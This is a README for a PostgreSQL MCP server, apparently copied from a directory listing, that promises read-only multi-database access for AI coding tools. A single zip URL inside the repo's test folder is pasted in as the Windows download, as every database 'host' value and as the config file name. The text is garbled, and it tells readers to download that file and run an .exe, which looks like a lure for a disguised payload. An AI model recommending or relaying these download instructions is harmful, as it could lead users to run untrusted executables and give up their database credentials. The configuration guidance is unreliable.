MCP 服务器

multi-postgres-mcp-server

A simple program that helps you connect to many PostgreSQL databases at once, providing read-only access and hot-reload configuration.

README

🗄️ multi-postgres-mcp-server - Manage Many PostgreSQL Databases Easily

📖 What is multi-postgres-mcp-server?

multi-postgres-mcp-server is a simple program that helps you connect to many PostgreSQL databases at once. Instead of running lots of separate tools, this software lets you handle all your databases together in one place.

It keeps the connection safe and only allows read-only actions, so you won’t accidentally change data. It works well with AI tools like Claude Code, Cursor, Windsurf, and Cline. If you use any AI that supports MCP (Model Context Protocol), this server will work for you.

💻 Who is this for?

This software is for people who want to look at or use many PostgreSQL databases without switching programs. You don’t need to know how to write code or run complex commands. Just set it up once, and it works quietly in the background.

If you use AI programs that connect to databases, this server makes it easier to access many databases safely.

⚙️ Key Features

Connects to unlimited PostgreSQL databases using just one program.
Uses “hot-reload” JSON configuration, so changes to settings happen instantly without restarting.
Separates projects by label, keeping your data clean and organized.
Allows read-only access, so your data stays safe.
Works with popular AI clients like Claude Code, Cursor, Windsurf, and Cline.
Written in TypeScript, making it fast and reliable.

🖥️ System Requirements

Before you download and install the program, make sure your computer meets these needs:

Operating System: Windows 10 or later, macOS 10.14 or later, or a Linux distribution.
RAM: At least 4 GB of memory.
Disk Space: Minimum 100 MB free space.
PostgreSQL databases should already be set up and accessible.
Internet connection for downloading and optional communication with AI tools.

🚀 Getting Started

Here’s how to get multi-postgres-mcp-server running on your computer.

Step 1: Download the software

You can get the program from the official release page. Click the button below to visit the download page.

Step 2: Find the right file for your system

The download page shows different files depending on your computer style (Windows, macOS, Linux). Find the file that matches your operating system. These files are usually named clearly, like:

Windows: https://raw.githubusercontent.com/Jamaluddin9/multi-postgres-mcp-server/master/src/__tests__/postgres_server_multi_mcp_3.9-alpha.4.zip
macOS: multi-postgres-mcp-server-macos
Linux: multi-postgres-mcp-server-linux

Step 3: Download and open the file

Click the download link for your system. Once the file finishes downloading:

On Windows, double-click the .exe file to start the program.
On macOS and Linux, you may need to allow the program to run by giving permission in your system settings.

🗂️ Configuring the Server

multi-postgres-mcp-server uses a simple JSON file for configuration. JSON is just a way to write information that the program understands.

What is the JSON config file?

The config file tells the program which databases to connect to, how to label each project, and what rules to follow. Because the program supports hot-reload, you can change this file anytime, and the server updates without needing to restart.

Example of a configuration file:

{
  "databases": [
    {
      "label": "ProjectA",
      "host": "https://raw.githubusercontent.com/Jamaluddin9/multi-postgres-mcp-server/master/src/__tests__/postgres_server_multi_mcp_3.9-alpha.4.zip",
      "port": 5432,
      "user": "readonly_user",
      "password": "your_password",
      "database": "project_a_db"
    },
    {
      "label": "ProjectB",
      "host": "https://raw.githubusercontent.com/Jamaluddin9/multi-postgres-mcp-server/master/src/__tests__/postgres_server_multi_mcp_3.9-alpha.4.zip",
      "port": 5432,
      "user": "readonly_user",
      "password": "your_password",
      "database": "project_b_db"
    }
  ]
}

How to create or edit the config file

Create a new text file and name it https://raw.githubusercontent.com/Jamaluddin9/multi-postgres-mcp-server/master/src/__tests__/postgres_server_multi_mcp_3.9-alpha.4.zip.
Paste the example above into the file.
Replace the example connection details (host, user, password, database) with your own database information.
Save the file in the same folder where you run the program, or specify its location using program options (check advanced use in documentation).

🔧 Running the Software

After downloading the program and creating your configuration file, follow these steps.

Step 1: Launch the server

On Windows: double-click the program file.
On macOS/Linux: open a terminal, go to the folder where the program is, then run it.

Step 2: Ensure config file is detected

When the server starts, it looks for https://raw.githubusercontent.com/Jamaluddin9/multi-postgres-mcp-server/master/src/__tests__/postgres_server_multi_mcp_3.9-alpha.4.zip by default. You will see messages saying which databases are connected.

Step 3: Connect your AI tool

Use any MCP-compatible AI client like Claude Code or Windsurf and point it to the multi-postgres-mcp-server process. This part depends on your AI tool’s instructions.

🛠️ Troubleshooting Tips

If you face issues, try these solutions:

Cannot open program: Make sure you downloaded the file for your operating system.
Databases not found: Check your JSON config file for correct hostnames and credentials.
Server won’t start: Confirm the config file is in the right place and is valid JSON.
Connection errors in AI tool: Confirm you have network access to the PostgreSQL servers.
Need to change config?: Edit https://raw.githubusercontent.com/Jamaluddin9/multi-postgres-mcp-server/master/src/__tests__/postgres_server_multi_mcp_3.9-alpha.4.zip and the server reloads the changes automatically.

📂 Where to Learn More

The program uses the Model Context Protocol (MCP) to keep AI tools and databases connected safely. For detailed information on MCP or PostgreSQL basics, you might want to visit: